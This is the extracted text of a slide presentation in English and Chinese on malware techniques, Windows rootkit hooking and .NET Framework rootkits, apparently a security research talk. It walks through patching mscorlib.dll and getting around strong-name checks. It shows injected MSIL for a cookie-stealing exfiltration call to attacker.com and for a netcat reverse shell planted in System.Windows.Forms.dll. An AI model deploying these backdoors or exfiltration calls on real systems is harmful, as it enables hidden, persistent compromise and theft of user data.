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Dark.NetDark.Net

gasgasgasgas
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簡介簡介

MalwareMalware
Dot Net FrameworkDot Net Framework
.net .net rootkitrootkit
Anti techAnti tech
Q & AQ & A
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MalwareMalware
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MalwareMalware
VirusVirus

BackdoorBackdoor

Trojan horseTrojan horse

RootkitRootkit

ScarewareScareware

AdwareAdware

WormWorm
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InfectInfect

ExecutableExecutable
Interpreted fileInterpreted file
KernelKernel
ServiceService
MBR MBR 
HypervisorHypervisor
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Hypervisor rootkitHypervisor rootkit

Target OS Target OS 

HardwareHardware

AppAppAppApp
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Hypervisor rootkitHypervisor rootkit

Target OS Target OS 

HardwareHardware

AppAppAppApp

Virtual machine monitor Virtual machine monitor Host OS Host OS 

Rogue appRogue app
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MalwareMalware design & techdesign & tech

MetamorphismMetamorphism
ObfuscationsObfuscations
AntiAnti--emulationemulation
AntiAnti--Virtual Machine Virtual Machine 
AntiAnti--debuggersdebuggers
RootkitRootkit TechnologyTechnology
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MetamorphismMetamorphism

mov [ebp - 3], eax

push ecx
mov ecx,ebp
add ecx,33
push esi
mov esi,ecx
sub esi,34
mov [esi-2],eax
pop esi
pop ecx

push ecx
mov ecx, ebp
push eax
mov eax, 33
add ecx, eax
pop eax

push esi
mov esi, ecx
push edx

mov edx, 34
sub esi, edx
pop edx
mov [esi - 2], eax
pop esi
pop ecx

push ecx
mov ecx, [ebp + 10]
mov ecx, ebp
push eax
add eax, 2342
mov eax, 33
add ecx, eax
pop eax
mov eax, esi
push eax
mov esi, ecx
push edx
xor edx, 778f
mov edx, 34
sub esi, edx
pop edx
mov [esi-2], eax
pop esi
pop ecx

push ecx
mov ecx,ebp
add ecx,33
mov [ecx-36],eax
pop ecx
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ObfsucationsObfsucations

Call Obfsucations to prevent static analysis

NORMAL CALL

L0:  call L5
L1:  …
L2:  …
L3:  …
L4:  …
L5: <proc>
L6:  …

OBFUSCATED CALL

L0a: push L1
L0b: push L5
L0c: ret
L1:  …
L2:  …
L3:  …
L4:  …
L5: <proc>
L6:  …
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AntiAnti--emulation emulation vsvs antianti--debugdebug
AntiAnti--debugdebug

•• Hide the fact that someone with a debugger is Hide the fact that someone with a debugger is 
stepping/monitoring your programstepping/monitoring your program

•• Focus in differences in system when a Focus in differences in system when a 
debugger is active debugger is active vsvs notnot

Memory structuresMemory structures
Time usage (ticks)Time usage (ticks)
API API behaviourbehaviour
Suspicious windows/drivers/services, e.g. debug Suspicious windows/drivers/services, e.g. debug 
rights without askingrights without asking……
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AntiAnti--emulation emulation vsvs AntiAnti--debugdebug
AntiAnti--emulationemulation
•• There is no debugger to hideThere is no debugger to hide
•• Detect the difference between an emulated Detect the difference between an emulated 

system and a real systemsystem and a real system
Access complex resources, use complex Access complex resources, use complex 
calculationscalculations
Detect limitations which are not possible (or Detect limitations which are not possible (or 
very time consuming) to emulatevery time consuming) to emulate
Use (or setup) exotic APIs so they deliver a Use (or setup) exotic APIs so they deliver a 
specific error conditionspecific error condition

•• Can this be used against it?Can this be used against it?

What is virtual machine detection?What is virtual machine detection?
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Challenge For EmulatorsChallenge For Emulators

Code that Code that ““does the bad stuffdoes the bad stuff”” is hidden in many waysis hidden in many ways
•• Runtime librariesRuntime libraries
•• CompressorsCompressors

UPX, FSG, PECUPX, FSG, PEC……
•• EncryptorsEncryptors

Simple or advanced runtime encryptionSimple or advanced runtime encryption
•• ProtectorsProtectors

SVKP, SVKP, ThemidaThemida……
•• Installers Installers 

NullsoftNullsoft, RARSFX, ZIPSFX etc, RARSFX, ZIPSFX etc
•• Embedded dropped componentsEmbedded dropped components

Libraries/services, kernel drivers, scripts, executables etc.Libraries/services, kernel drivers, scripts, executables etc.
What to do with a single component; DLL or driver?What to do with a single component; DLL or driver?

•• Download linksDownload links
Download Download malwaremalware components in proprietary formats & protocolscomponents in proprietary formats & protocols

•• Bad records inside file formats (like XLS, JPG etc)Bad records inside file formats (like XLS, JPG etc)
Exploits to run binary codeExploits to run binary code
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Anti Emulator CodeAnti Emulator Code
CreateFileACreateFileA (e.g. (e.g. 
"C:"C:\\WINDOWSWINDOWS\\SYSTEM32SYSTEM32\\driversdrivers\\ntfs.sys)ntfs.sys)
GetFileSizeGetFileSize (0x0000002A,0x00000000)(0x0000002A,0x00000000)
WriteProcessMemoryWriteProcessMemory
(0xFFFFFFFF,0x0043661D,STACK_ADDR,0(0xFFFFFFFF,0x0043661D,STACK_ADDR,0
x00000004,0x00000000)x00000004,0x00000000)
EnumWindowStationsAEnumWindowStationsA() () --> callback> callback
EnumServicesStatusAEnumServicesStatusA() () --> looking for > looking for 
standard servicesstandard services
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AntiAnti--Virtual MachinesVirtual Machines
Pseudo code:Pseudo code:
IF IF detect_vmwaredetect_vmware

THEN do nothing, destroy self, destroy systemTHEN do nothing, destroy self, destroy system
ELSEELSE

Continue with Continue with malwaremalware payloadpayload

DASHER Variant Disassembly Example:DASHER Variant Disassembly Example:
PS______:00401D51   push    offset PS______:00401D51   push    offset aaNetStartFindstNetStartFindst ; "; "net net 

start | start | findstrfindstr VMwareVMware && echo && echo VMwaVMwa"..."...
PS______:00401D52   push    PS______:00401D52   push    ediedi
PS______:00401D53   call    sub_402148PS______:00401D53   call    sub_402148
PS______:00401D58   lea     PS______:00401D58   lea     eaxeax, [ebp+var_300], [ebp+var_300]
PS______:00401D5E  push    PS______:00401D5E  push    eaxeax
PS______:00401D5F  push    offset aPS______:00401D5F  push    offset aNetStartFindNetStartFind_0 ; "_0 ; "net net 

start | start | findstrfindstr Virtual &&echo Virtual &&echo VirVir"..."...
PS______:00401D64  push    PS______:00401D64  push    ediedi
PS______:00401D65  call    sub_402148PS______:00401D65  call    sub_402148
PS______:00401D6A  push    offset aDel0    ; "PS______:00401D6A  push    offset aDel0    ; "del del 

%%0%%0\\rr\\nn““
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AntiAnti--debuggersdebuggers
Making reverseMaking reverse--engineering and engineering and 
disassembly painfuldisassembly painful

•• PolymorphismPolymorphism
•• EncryptionEncryption
•• Interrupt disablingInterrupt disabling
•• Debugger detectionDebugger detection

Behavior modificationBehavior modification
Crashing debuggerCrashing debugger
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Forms of Forms of RootkitRootkit

KERNELKERNEL--LEVELLEVEL
SYSTEM ACCESSSYSTEM ACCESS
APPLICATIONAPPLICATION--LEVELLEVEL
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System Service Call CycleSystem Service Call Cycle
User Application

call to CreateFile API

Kernel32.DLL

call stub NtCreateFile API

NTDLL.DLL

EAX = 0x00000020
call INT 2Eh

USER MODE

KERNEL MODE
NTOSKRNL.EXE

Switch Back to USER 
MODE

return NtCreateFile result

return CreateFile result
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NTDLL InterfaceNTDLL Interface
Kernel32.DLL imports solely on the library Kernel32.DLL imports solely on the library 
NTDLL.DLL NTDLL.DLL 
NTDLL.DLL is an interface to NTDLL.DLL is an interface to IntInt 2Eh function of 2Eh function of 
Windows NT Windows NT 
IntInt 2Eh signals a need to switch from user mode 2Eh signals a need to switch from user mode 
to kernel modeto kernel mode
IntInt 2Eh is internally known as 2Eh is internally known as KiSystemServiceKiSystemService().().
IntInt 2Eh handler looks up on a table in NTOSKRNL 2Eh handler looks up on a table in NTOSKRNL 
called called KeServiceDescriptorTableKeServiceDescriptorTable() () 
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NTOSKRNL ExportsNTOSKRNL Exports

The structure of 
KeServiceDescriptorTable: 

typedef struct
ServiceDescriptorTable {
PVOID ServiceTableBase;
PVOIDServiceCounterTable(0);
unsigned int NumberOfServices;
PVOID ParamTableBase;
}
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Getting Into The RootGetting Into The Root
Application: Call to CreateFile() API

Kernel32.DLL: Call to NtCreateFile() -- Native API

NTDLL.DLL

NTOSKRNL.EXE: Call to KeServiceDescriptor Table

Invokes KiSystemService()
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KeServiceDescriptorKeServiceDescriptor TableTable
ServiceTableBase ParamTableBase

…

…

@ NtCreateFile 0x2C bytes

…

…

@NtCreateProcess 0x20 bytes

…

@ NtOpenProcess 0x10 bytes

…

……

0x20

0x29

0x6A



2323

Hooking System ServiceHooking System Service

Choose a system service exported by Choose a system service exported by 
NTOSKRNL.EXENTOSKRNL.EXE
Obtain the address of this functionObtain the address of this function
Verify if the function starts with a Verify if the function starts with a 
MOV EAX, 0xXXXXXXXX construct.MOV EAX, 0xXXXXXXXX construct.
Retrieve the index value associated Retrieve the index value associated 
with the function.with the function.
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Hooking System ServiceHooking System Service

Example of NTDLL Exported Functions 
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Hooking System ServiceHooking System Service

Import the undocumented structure Import the undocumented structure 
KeServiceDescriptorTableKeServiceDescriptorTable..
Locate the function indexLocate the function index
Overwrite the corresponding Overwrite the corresponding 
ServiceTableBaseServiceTableBase value with the new value with the new 
system service handlersystem service handler
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API Hooking: IAT ModificationAPI Hooking: IAT Modification

Headers

Code Section

CALL [CreateFileA]

CreateFileA():
…

Import Section

CreateFileA: 
0x12345678

Kernel32.dll

PE File Before IAT Patching
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API Hooking: IAT ModificationAPI Hooking: IAT Modification

Headers

Code Section

CALL [CreateFileA]

CreateFileA():
…

Import Section

CreateFileA: 
Addr of Hook

Kernel32.dll

PE File Before IAT Patching

Hook:

JMP 0x12345678
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API Hooking: Dynamic Code PatchingAPI Hooking: Dynamic Code Patching

FindNextFileA:
195D6: 55 PUSH EBP
195D7: 8BEC MOV EBP, ESP
195D9: 81EC60020000 SUB ESP, 260
Continue_Here:
194DF: 53 PUSH EBX
195E0: 8D85A0FDFFFF LEA EAX, [EBP-260]
195DF: XX <…original code 

continues…>

Original FindNextFile() API Function
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API Hooking: Dynamic Code PatchingAPI Hooking: Dynamic Code Patching

FindNextFileA:
195D6: E9XXXXXXXX JMP Hook
195DB: 90 NOP
195DC: 90 NOP
195DD: 90 NOP
195DE: 90 NOP
Continue_Here:
194DF: 53 PUSH EBX
195E0: 8D85A0FDFFFF LEA EAX, [EBP-260]
195DF: XX <…original code 

continues…>
Hook: <process params>

call Saved_Original
<alter data>
ret

Patched FindNextFile() API Function
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DLL InjectionDLL Injection

Malware Process

Call to CreateRemoteThread()

Victim Process

Call to LoadLibrary()

Malicious DLL

Using 
CreateRemoteThread(), 
a call to LoadLibrary() 

API of can cause a 
malicious DLL to be 

loaded on the remote 
process’ address space.
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Direct Memory WritingDirect Memory Writing

HEADERS

Code Section

VirtualAllocEx()
VirtualProtectEx()

WriteProcessMemory()

CreateRemoteThread()

HEADERS

Code Section

Heap

Install_Hooks();

Attacking Process Victim Process

Patching Another Process
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Dot Net Dot Net FrameWorkFrameWork
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What is Microsoft .NET?

What is .NET?What is .NET?
•• New Microsoft Framework for the New Microsoft Framework for the 

Internet Development Environment.Internet Development Environment.
•• It is a protocol stack and computing It is a protocol stack and computing 

model for TCPI/IPmodel for TCPI/IP--based, distributed based, distributed 
computing. computing. 

•• The .NET Enterprise servers are built for The .NET Enterprise servers are built for 
interoperability from the ground up, interoperability from the ground up, 
using open Web standards such as XML using open Web standards such as XML 
with increased scalability and reliability.with increased scalability and reliability.
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.NET Architecture Overview
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Common Language Runtime (CLR)

.NET applications are compiled to a common .NET applications are compiled to a common 
language known as Microsoft Intermediate language known as Microsoft Intermediate 
Language, or "IL".Language, or "IL".
The CLR, then, handles compiling the IL to The CLR, then, handles compiling the IL to 
machine language, at which point the program is machine language, at which point the program is 
executed.executed.
The CLR architecture provides expansive tool The CLR architecture provides expansive tool 
support , simpler deployment (support , simpler deployment (end of "DLL Hell"),end of "DLL Hell"),
superior scalability, support for multiple superior scalability, support for multiple 
programming languages and a common data type programming languages and a common data type 
system system 
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ECMAECMA--335335
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Common Language Runtime (CLR)
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CLR:CLR: InternalsInternals

Class Loader

IL to Native
Compilers

Code
Manager

Garbage
Collector

Security Engine Debug Engine

Type Checker Exception Manager

Thread Support COM Marshaler

Base Class Library Support
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Common Language RuntimeCommon Language Runtime
Manages running codeManages running code
•• Threading, Memory managementThreading, Memory management
•• Eliminates memory management drudgeryEliminates memory management drudgery
•• Kills entire classes of bugs (e.g., memory corruption, Kills entire classes of bugs (e.g., memory corruption, 

ref counting)ref counting)
•• AutoAuto--versioningversioning, no more DLL Hell, no more DLL Hell
•• Scalability, performance, reliability all improveScalability, performance, reliability all improve

FineFine--grained evidencegrained evidence--based securitybased security
•• Code access + RoleCode access + Role--basedbased
•• Integrated with underlying OSIntegrated with underlying OS
•• Security model ensures safetySecurity model ensures safety

NoNo--touch deploymenttouch deployment
•• XCOPY, no registry requiredXCOPY, no registry required

Object remoting with SOAPObject remoting with SOAP
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Source Code

C++, C#, VB or C++, C#, VB or 
any .NET any .NET 
languagelanguage

csc.execsc.exe or or vbc.exevbc.exe
CompilerCompiler

Assembly

DLL or EXEDLL or EXE

.Net Assemblies.Net Assemblies
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VBVBSource Source 
codecode

CompilerCompiler

C++C++C#C#

CompilerCompilerCompilerCompiler

Operating System ServicesOperating System Services

Common Language RuntimeCommon Language Runtime

JIT CompilerJIT Compiler

Native CodeNative Code

ManagedManaged
codecode

AssemblyAssembly
IL CodeIL Code

AssemblyAssembly
IL CodeIL Code

AssemblyAssembly
IL CodeIL Code

.Net Execution Model.Net Execution Model
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.NET Framework.NET Framework安全設計安全設計
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.NET Framework.NET Framework安全設計安全設計

Managed CodeManaged Code執行模式執行模式

型別安全檢查型別安全檢查

共享名稱簽署共享名稱簽署

程式碼存取安全程式碼存取安全

角色架構安全角色架構安全性設計性設計

加密機制加密機制

/GS Option/GS Option----適用於適用於VC++ .NETVC++ .NET
隔離儲存區隔離儲存區
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Managed Code Managed Code 執行模式執行模式

PEVerifyPEVerify

NGENNGEN

部署階段部署階段

GAC, GAC, 
app. directory, app. directory, 

download cachedownload cache

public static void Main(String[] args )
{ String usr; FileStream f; StreamWriter w;
try {

usr=Environment.GetEnvironmentVariable("USERNAME");
f=new FileStream(“C:\\test.txt",FileMode.Create);
w=new StreamWriter(f);
w.WriteLine(usr);
w.Close();

} catch (Exception e){
Console.WriteLine("Exception:"+e.ToString());

}
} 編譯器編譯器

開發階段開發階段

public static void Main(String[] args )
{ String usr; FileStream f; StreamWriter w;
try {

usr=Environment.GetEnvironmentVariable("USERNAME");
f=new FileStream(“C:\\test.txt",FileMode.Create);
w=new StreamWriter(f);
w.WriteLine(usr);
w.Close();

} catch (Exception e){
Console.WriteLine("Exception:"+e.ToString());

}
}

原始碼原始碼 AssemblyAssembly
PE header + MSIL + PE header + MSIL + 
Metadata + EH TableMetadata + EH Table

執行階段執行階段
組件資訊組件資訊
模組模組

+ + 類別清單類別清單

Policy Policy 
ManagerManager

HostHost

Policy
<?xml version="1.0" encoding="utf-8" ?>
<configuration>

<mscorlib>
<security>

<policy>
<PolicyLevel version="1">

<CodeGroup class="UnionCodeGroup"
version="1"
PermissionSetName="Nothing"
Name="All_Code"
Description="Code group

grants no permissio
ns and forms the root of the code group tree.">

<IMembershipCondition clas
s="AllMembershipCondition"

version="1"/>
<CodeGroup class="UnionCodeGroup"

version="1"
PermissionSetName="FullTrust"

ClassClass
LoaderLoader

授與權限授與權限

VtableVtable ++
Class infoClass info

JIT +JIT +
verificationverification

Native codeNative code
+ GC table+ GC table

CLR CLR 服務服務
GCGC
ExceptionException
Class initClass init
SecuritySecurity

((組
件

組
件

))((類別類別))

((方法方法))

AssemblyAssembly
LoaderLoader

EvidenceEvidence

權限要求權限要求
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組件部署與組件部署與強名稱強名稱

編譯器編譯器密鑰密鑰

簽署簽署

資訊清單資訊清單

PK=34 e2 5cPK=34 e2 5c……

強式名稱強式名稱
簽名檔簽名檔

編譯器編譯器

資訊清單資訊清單

參照參照::MyDLLMyDLL,,
PK=34 e2 5cPK=34 e2 5c……

MainMainMyDLLMyDLL

11

44

33

22
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執行執行.NET.NET應用程式應用程式

CLRCLR提供之執行支援與管理提供之執行支援與管理

類別載入類別載入(Class Loader)(Class Loader)

.NET PE Files(metadata .NET PE Files(metadata 與與IL)IL)

CLRCLR’’s Virtual Execution Engines Virtual Execution Engine

JITJIT編譯器編譯器

Managed Native CodeManaged Native Code

VerifierVerifier

JITJIT
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一般一般windowswindows程式與程式與.net.net程式的程式的
外觀比較外觀比較
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一般的一般的PEPE程式程式
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Import sessionImport session可以看到多個可以看到多個entryentry
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.net.net程式的程式的PEPE內容內容
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Import sessionImport session只有一個只有一個entryentry
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Metadata Metadata iSignatureiSignature

固定為0x424a5342  (BSJB)
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CLR CLR 表頭資料表頭資料
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MetadataMetadata的的table entrytable entry
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Metadata checkMetadata check機制機制

Static checkStatic check
•• CompilerCompiler階段階段

•• 特別程式驗測特別程式驗測((PeVerify.exePeVerify.exe))

Dynamical CheckDynamical Check
•• .net core check .net core check 

Static checkStatic check可修改後繞過可修改後繞過

駭客常常製造可執行但駭客常常製造可執行但metadata check metadata check 
failedfailed的程式來擾亂的程式來擾亂
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Code modifyCode modify

由於由於.net .net 可進行可進行roundround--trippingtripping操作操作. . 所所
以以code modifycode modify可以神不知鬼不覺的進行可以神不知鬼不覺的進行

對於混合編輯的程式就失效了對於混合編輯的程式就失效了

•• 需配合需配合RefflectorRefflector與與IDA Pro IDA Pro 一起一起

•• 沒有沒有roundround--trippingtripping的特性的特性
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debugdebug
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CLR stalkingCLR stalking

事前準備事前準備

•• WindbgWindbg, , symbol(pdbsymbol(pdb))
•• VisualStudioVisualStudio 20052005
•• .net framework 2.0 runtime RTM.net framework 2.0 runtime RTM
•• 一個一個.net.net小程式小程式
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ld kernel32

.chain 
檢查DLL chain

Sxe ld:mscorwks
當load時中斷
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bp mscoree!_CorExeMain
Net 核心函數 CorExeMain中斷
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Sxe ld:mscorwks
當load mscorwks時中斷
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中斷於 mscorwks的EEStartupHelper
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中斷於 FinalizerThreadStart
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中斷於 ClassLoader



6565

中斷於 CallDescr

中斷於 CallDescrWorker
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bp mscorwks!Assembly::GetEntryPoint

重要函數GetEntryPoint



6767

CLR init CLR init 運作運作

mscoree!_CorExeMainmscoree!_CorExeMain
•• MscoreeMscoree載入載入engineengine
Mscorwks!_CorExeMainMscorwks!_CorExeMain
Mscorwks!EEStartupHelperMscorwks!EEStartupHelper
Mscorwks!SetupThreadMscorwks!SetupThread
•• Mapping OS thread Mapping OS thread 與與CLR threadCLR thread
Mscorwks!ClassLoaderMscorwks!ClassLoader
Mscorwks!CallDescrMscorwks!CallDescr
Mscorwks!CallDescrWorkerMscorwks!CallDescrWorker
mscorwks!Assembly::GetEntryPointmscorwks!Assembly::GetEntryPoint
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.NET Framework Rootkits
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Tool you NeedTool you Need

ReRe--SignSignStrongNameStrongName
RemoveRemove

ILDecoderILDecoderReflectorReflectorsnsnngenngen

ildasmildasmilasmilasmMegaPuckMegaPuckCFF CFF 
explorerexplorer

PEiDPEiDLoadPELoadPEPEInfoPEInfoGuidDbgGuidDbg

PEBrowsePEBrowse
dbgdbg

ollydbgollydbgIDA ProIDA Prowindbgwindbg
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.NET Framework .NET Framework RootkitsRootkits

程式片斷程式片斷
static void static void Main(stringMain(string[] [] argsargs))

{{
Console.WriteLine("HelloConsole.WriteLine("Hello (crazy) World!");(crazy) World!");

}}

執行結果執行結果
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.NET Framework .NET Framework RootkitsRootkits

原因原因

•• .NET framework.NET framework的的WriteLineWriteLine被偷改了被偷改了

也就是說也就是說, , 駭客只要有技術駭客只要有技術, , 就可以更就可以更
改改.NET.NET語言的實作語言的實作

•• Mscorlib.dllMscorlib.dll
•• Mscoree.dllMscoree.dll
•• Mscorwks.dllMscorwks.dll
•• Mscorxxxxx.dllMscorxxxxx.dll 都是好目標都是好目標
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新增一個專案新增一個專案
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直接拿來用直接拿來用
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Run  Run  ““ymcymc demodemo””.exe.exe
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FilemonFilemon
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看看看看mscorlib.dllmscorlib.dll在那在那
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C:C:\\winntwinnt\\assemblyassembly
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使用使用reflectorreflector找出找出writelinewriteline()()
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反組譯反組譯mscorlib.dllmscorlib.dll

ILDASM /OUT=ILDASM /OUT=mscorlib.dll.ilmscorlib.dll.il /NOBAR /LINENUM /SOURCE /NOBAR /LINENUM /SOURCE 
mscorlib.dllmscorlib.dll
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從從mscorlib.dll.ilmscorlib.dll.il 找到找到writeline(stringwriteline(string))
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把他變成兩次把他變成兩次outputoutput
(IL address(IL address記得修正記得修正))
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WriteLineWriteLine in MSIL (original VS. in MSIL (original VS. 
modified code)modified code)

Original code of Original code of WriteLineWriteLine::

Modified code:Modified code:

Print #1 
(same as 
before)

Print #2 
(duplicate)
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重新重新compilercompiler
ILASM /DEBUG /DLL /QUIET ILASM /DEBUG /DLL /QUIET 
/OUTPUT=/OUTPUT=mscorlib.dllmscorlib.dll mscorlib.dll.ilmscorlib.dll.il
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有了有了 真的真的writelinewriteline()()被換了耶被換了耶
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雪特雪特……沒有成功沒有成功....可是可是dlldll都換掉了耶都換掉了耶
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原來是原來是cachecache作怪作怪

ngenngen uninstall uninstall mscorlib.dllmscorlib.dll
Replace new Replace new mscorlib.dllmscorlib.dll
NgenNgen install install mscorlib.dllmscorlib.dll
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WorkWork
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修改修改 Framework Framework 核心步驟核心步驟

Locate the DLL in the GAC, and copy it Locate the DLL in the GAC, and copy it 
outsideoutside
Analyze the DLLAnalyze the DLL
Decompile the DLL using Decompile the DLL using ildasmildasm
Modify the MSIL code Modify the MSIL code Recompile to a new Recompile to a new 
DLL using DLL using ilasmilasm
Bypass the GAC strong name protectionBypass the GAC strong name protection
Reverting back from NGEN Native DLLReverting back from NGEN Native DLL
Deploy the new DLL while overwriting the Deploy the new DLL while overwriting the 
originaloriginal
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躲過躲過 GAC GAC 強名強名(Strong Name)(Strong Name)檢驗檢驗

DLLDLL修改過後修改過後, , 會躲不過會躲不過GACGAC強名檢驗強名檢驗

因為每個因為每個DLLDLL都有獨一無二的簽名都有獨一無二的簽名

躲過方法躲過方法

•• 偷到偷到microsoftmicrosoft的私鑰的私鑰((private key)private key)
•• 把簽名去掉把簽名去掉((StrongNameRemoveStrongNameRemove工具工具))
•• 自己簽一個自己簽一個(Re(Re--signsign工具工具))
•• 把把DLLDLL放在正確的目錄下放在正確的目錄下

c:c:\\winntwinnt\\assemblyassembly\\GAC_32GAC_32\\mscorlibmscorlib\\2.0.0.02.0.0.0
_b77a5c561934e089_b77a5c561934e089
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安裝安裝 backdoors backdoors 與與rootkitsrootkits
So now we know we can modify the framework So now we know we can modify the framework 
and make it behave the way we wantand make it behave the way we want
It is possible to plant malicious code inside the It is possible to plant malicious code inside the 
framework itselfframework itself
•• We can backdoor some sensitive internal We can backdoor some sensitive internal 

methodsmethods
•• It is also possible to deploy It is also possible to deploy rootkitsrootkits deep into deep into 

the framework the framework 
The malicious code will be hidden and undetected The malicious code will be hidden and undetected 
inside the Frameworkinside the Framework
Code review will never detect them because Code review will never detect them because 
theythey’’re not at the application level codere not at the application level code
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SendToUrlSendToUrl implementationimplementation
Code:Code:

.method public .method public hidebysighidebysig static void  static void  SendToUrl(stringSendToUrl(string urlurl,,
string data) string data) cilcil managedmanaged

{{
..maxstackmaxstack 88
IL_0000:  IL_0000:  nopnop
IL_0001:  ldarg.0IL_0001:  ldarg.0
IL_0002:  ldarg.1IL_0002:  ldarg.1
IL_0003:  call       string IL_0003:  call       string System.String::Concat(string,stringSystem.String::Concat(string,string)    )    
IL_0008:  call       class [IL_0008:  call       class [System]System.Net.WebRequestSystem]System.Net.WebRequest
[[System]System.Net.WebRequest::Create(stringSystem]System.Net.WebRequest::Create(string))
IL_000d:  IL_000d:  callvirtcallvirt instance class instance class 
[[System]System.Net.WebResponseSystem]System.Net.WebResponse
[[System]System.Net.WebRequest::GetResponseSystem]System.Net.WebRequest::GetResponse()()
IL_0012:  popIL_0012:  pop
IL_0013:  retIL_0013:  ret

} // end of method Class1::SendToUrl} // end of method Class1::SendToUrl
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SendToUrlSendToUrl usageusage
The following injected MSIL code will do the jobThe following injected MSIL code will do the job

..locals init locals init ((string V_0string V_0))
IL_0000IL_0000:  :  ldstrldstr ""SomeSensitiveStolenDataSomeSensitiveStolenData""
IL_0005IL_0005:  :  stlocstloc..00
IL_0006IL_0006:  :  ldstrldstr
""httphttp://://wwwwww..attackerattacker..comcom//CookieStealerCookieStealer//WebForWebFor
m1m1..aspasp""
+ "+ "xx\\?s?s="="
IL_000bIL_000b:  :  ldlocldloc..00
IL_000cIL_000c:  :  call       void call       void 
SystemSystem..ObjectObject::::SendToUrlSendToUrl((string,stringstring,string)                   )                   
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ReverseShellReverseShell implementationimplementation
netcatnetcat IPIP PORT PORT --e e cmd.execmd.exe

Code Code 
..method public method public hidebysighidebysig static void  static void  ReverseShellReverseShell((stringstring ipip,,

int32 portint32 port) ) cilcil managedmanaged
{{
// // Code size       259Code size       259 ((0x1030x103))
..maxstackmaxstack 33

..locals init locals init ([([00] ] string string cmdfilenamecmdfilename,, [[11] ] string filename,string filename, [[22] ] uint8uint8[] [] netcatnetcat,,
[[33] ] class Systemclass System..IOIO..BinaryWriterBinaryWriter binWriter1,binWriter1,[[44] ] uint8uint8[] [] cmdcmd,,
[[55] ] class Systemclass System..IOIO..BinaryWriterBinaryWriter binWriter2,binWriter2,[[66] ] string arguments,string arguments,
[[77] ] class class [[SystemSystem]]SystemSystem..DiagnosticsDiagnostics..Process proc,Process proc,
[[88] ] objectobject[] [] CS$0$0000CS$0$0000))

IL_0000IL_0000:  :  nopnop
IL_0001IL_0001:  :  ldstrldstr ""cmdcmd..exeexe""
IL_0006IL_0006:  :  stlocstloc..00
IL_0007IL_0007:  :  ldstrldstr ""netcatnetcat..exeexe""
IL_000cIL_000c:  :  stlocstloc..11
……
……
IL_0101IL_0101:  :  poppop
IL_0102IL_0102:  :  retret

} } // // end of method end of method ::::ReverseShellReverseShell
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ReverseShellReverseShell usageusage

The following injected MSIL code will do The following injected MSIL code will do 
the jobthe job

IL_0000:  IL_0000:  ldstrldstr "192.168.50.129"192.168.50.129““ // attacker // attacker 
ipip addressaddress
IL_0005:  ldc.i4     IL_0005:  ldc.i4     0x4d20x4d2 // port 1234 // port 1234 
IL_0006:  call       void     IL_0006:  call       void     
System.Object::ReverseShell(string,int32)System.Object::ReverseShell(string,int32)
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安裝反彈端口木馬安裝反彈端口木馬

In our next example weIn our next example we’’ll inject the ll inject the 
ReverseShellReverseShell function and execute itfunction and execute it
LetLet’’s make a reverse shell every time s make a reverse shell every time 
a a winformwinform executable is runexecutable is run
•• Just for demonstration Just for demonstration pusposespusposes....

So weSo we’’ll inject code that execute our ll inject code that execute our 
reverse shell into reverse shell into 
System.Windows.Forms.dllSystem.Windows.Forms.dll, at , at 
function function Run(FormRun(Form mainFormmainForm))
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安裝反彈端口木馬安裝反彈端口木馬

Injected

Original code Modified code (pre injection)
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Disabling security checks Disabling security checks 
Messing around with CAS (Code Access Security) Messing around with CAS (Code Access Security) 
can be achieved by modifying the behavior of can be achieved by modifying the behavior of 
important classes from important classes from System.SecuritySystem.Security, , 
System.Security.PermissionsSystem.Security.Permissions, etc.., etc..
•• Again, from Again, from mscorlib.dllmscorlib.dll....

It is possible to disable security checks by It is possible to disable security checks by 
changing the logic ofchanging the logic of
•• CodeAccessPermission::DemandCodeAccessPermission::Demand()()
•• CodeAccessPermission::DenyCodeAccessPermission::Deny()()
•• CodeAccessPermission::AssertCodeAccessPermission::Assert()()
•• FileIOPermissionFileIOPermission, , RegistryPermissionRegistryPermission, etc., etc.
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Anti TechAnti Tech
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Anti TechAnti Tech

ObfucationObfucation
Packer & AntiPacker & Anti--DebugDebug
Virtual Machine ideaVirtual Machine idea



100100

ObfuscationObfuscation

Name ObfuscationName Obfuscation
ControlControl--Flow ObfuscationFlow Obfuscation
String EncodingString Encoding
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ControlControl--Flow ObfuscationFlow Obfuscation

Stack/heap crashStack/heap crash
•• brbr IL_0000IL_0000
•• poppop
•• ldc.i4.1ldc.i4.1
•• IL_0000: IL_0000: nopnop

AntiAnti--DeCompilerDeCompiler
•• C#C#沒有沒有 filter/faultfilter/fault
•• trytry--catch blockcatch block交錯交錯 ((可可decompilerdecompiler, , 但不但不
能能rere--compiler)compiler)
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Packer & AntiPacker & Anti--DebugDebug
AntiAnti--ProfilerProfiler
•• Process initial environment modifyProcess initial environment modify

COR_ENABLE_PROFILING 1COR_ENABLE_PROFILING 1 00
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Packer & AntiPacker & Anti--DebugDebug
AntiAnti--ProfilerProfiler
•• .net core patch.net core patch

SxeSxe ld:Profilerld:Profiler
Bp Bp 
profiler!CprofilerCallback::JITCompilationStaprofiler!CprofilerCallback::JITCompilationSta
rtedrted
Mscordbc!EEToProfInterfaceImp1::CreatingPMscordbc!EEToProfInterfaceImp1::CreatingP
rofiler+0x??rofiler+0x??
讀取讀取 COR_ENABLE_PROFILINGCOR_ENABLE_PROFILING的地方的地方, , 也是我也是我
們要們要patchpatch的地方的地方



104104

Packer & AntiPacker & Anti--DebugDebug
AntiAnti--DebugDebug
•• DebuggerHiddenAttributeDebuggerHiddenAttribute
•• DebuggerNonUserCodeAttributeDebuggerNonUserCodeAttribute
•• DbuggerStepThroughAttributeDbuggerStepThroughAttribute

AntiAnti--ildasmildasm
•• SuppressIldasmAttributeSuppressIldasmAttribute

AntiAnti--CompilerCompiler
•• 空名稱的空名稱的ResourcesResources
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Packer & AntiPacker & Anti--DebugDebug
PackerPacker
•• AdeptCompressorAdeptCompressor
•• .NETZ.NETZ
•• .NET Reactor.NET Reactor
•• CodeVeilCodeVeil

ProPro--Method Packer Method Packer 
•• 使用使用JITJIT概念概念

•• 保護對象是單個方法保護對象是單個方法

•• 使用到才解開使用到才解開



106106

Q & AQ & A
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.net 4.0.net 4.0


